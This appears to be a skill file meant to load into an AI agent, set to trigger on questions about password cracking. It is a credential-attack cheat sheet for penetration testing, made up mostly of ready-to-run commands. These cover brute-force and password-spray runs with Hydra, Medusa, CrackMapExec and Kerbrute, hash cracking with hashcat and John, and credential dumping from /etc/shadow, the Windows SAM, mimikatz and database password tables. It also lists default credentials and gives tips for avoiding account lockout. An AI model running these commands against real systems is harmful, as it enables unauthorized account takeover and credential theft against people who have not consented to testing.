| name | Credential Attacks |
| description | This skill should be used when the user asks about "password cracking",
"brute force", "hydra", "hashcat", "john", "credential stuffing",
"password spraying", or needs guidance on credential-based attacks.
|
| version | 1.0.0 |
Credential Attacks Skill
Overview
Techniques for discovering, cracking, and using credentials in penetration testing.
Online Attacks (Brute Force)
Hydra
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET>
hydra -L users.txt -P passwords.txt ssh://<TARGET>
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET>
hydra -l admin -P passwords.txt <TARGET> http-get /admin
hydra -l admin -P passwords.txt <TARGET> http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
hydra -l admin -P passwords.txt <TARGET> http-post-form \
"/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: session=abc123"
hydra -l Administrator -P passwords.txt smb://<TARGET>
hydra -l Administrator -P passwords.txt rdp://<TARGET>
hydra -l root -P passwords.txt mysql://<TARGET>
hydra -l sa -P passwords.txt mssql://<TARGET>
Medusa
medusa -h <TARGET> -u <USER> -P passwords.txt -M ssh
medusa -h <TARGET> -u <USER> -P passwords.txt -M ftp
CrackMapExec
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success
crackmapexec smb <TARGET> -u users.txt -p passwords.txt --continue-on-success
crackmapexec smb <TARGET> -u users.txt -H hashes.txt
Kerbrute (Kerberos)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'
kerbrute bruteuser -d <DOMAIN> --dc <TARGET> passwords.txt <USER>
Offline Attacks (Hash Cracking)
Identify Hash Type
hashid '<HASH>'
hash-identifier
Hashcat
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt
Hashcat Modes Reference:
| Mode | Hash Type |
|---|
| 0 | MD5 |
| 100 | SHA1 |
| 500 | md5crypt ($1$) |
| 1000 | NTLM |
| 1400 | SHA256 |
| 1800 | sha512crypt ($6$) |
| 3200 | bcrypt |
| 5600 | NTLMv2 |
| 13100 | Kerberos TGS-REP |
| 18200 | Kerberos AS-REP |
Hashcat Attack Modes:
hashcat -a 0 -m <mode> hashes.txt wordlist.txt
hashcat -a 0 -m <mode> hashes.txt wordlist.txt -r rules/best64.rule
hashcat -a 1 -m <mode> hashes.txt wordlist1.txt wordlist2.txt
hashcat -a 3 -m <mode> hashes.txt ?a?a?a?a?a?a
hashcat -a 6 -m <mode> hashes.txt wordlist.txt ?d?d?d?d
John the Ripper
john hashes.txt
john --format=raw-md5 hashes.txt
john --format=nt hashes.txt
john --format=krb5tgs hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --wordlist=wordlist.txt --rules hashes.txt
john --show hashes.txt
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt
Password Extraction
Linux
cat /etc/shadow | grep '\$'
unshadow /etc/passwd /etc/shadow > hashes.txt
Windows
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
secretsdump.py -sam sam -system system LOCAL
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>
Database
SELECT user, authentication_string FROM mysql.user;
SELECT usename, passwd FROM pg_shadow;
SELECT name, password_hash FROM sys.sql_logins;
Wordlist Generation
CeWL (Custom Wordlist)
cewl -d 2 -m 5 http://<TARGET> -w wordlist.txt
cewl -d 2 -m 5 -e http://<TARGET> -w wordlist.txt
Crunch
crunch 8 8 -o wordlist.txt
crunch 6 8 abc123 -o wordlist.txt
crunch 8 8 -t @@@@%%%% -o wordlist.txt
Username Generation
Default Credentials
Common Pairs
| Service | Username | Password |
|---|
| SSH | root | root, toor, password |
| MySQL | root | root, (empty) |
| PostgreSQL | postgres | postgres |
| Tomcat | admin | admin, tomcat |
| Jenkins | admin | admin, password |
| WordPress | admin | admin, password |
| phpMyAdmin | root | root, (empty) |
| Router | admin | admin, password |
Resources
Wordlists Reference
| Wordlist | Location | Use Case |
|---|
| rockyou.txt | /usr/share/wordlists/ | General cracking |
| common.txt | /usr/share/wordlists/dirb/ | Web brute force |
| names.txt | SecLists/Usernames/ | Username enum |
| 10k-most-common | SecLists/Passwords/ | Quick spray |
| top-passwords | SecLists/Passwords/ | Targeted attack |
Tips
Avoid Lockouts
- Check lockout policy first
- Use Kerbrute for AD (doesn't trigger lockouts on pre-auth)
- Low and slow (add delays)
- Password spray (one password, many users)
Password Patterns
# Common patterns to try:
SeasonYear! # Summer2024!
CompanyName123 # Acme123
MonthYear # January2024
Welcome1
Password1
P@ssw0rd
Rule-Based Attack
hashcat -m 1000 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule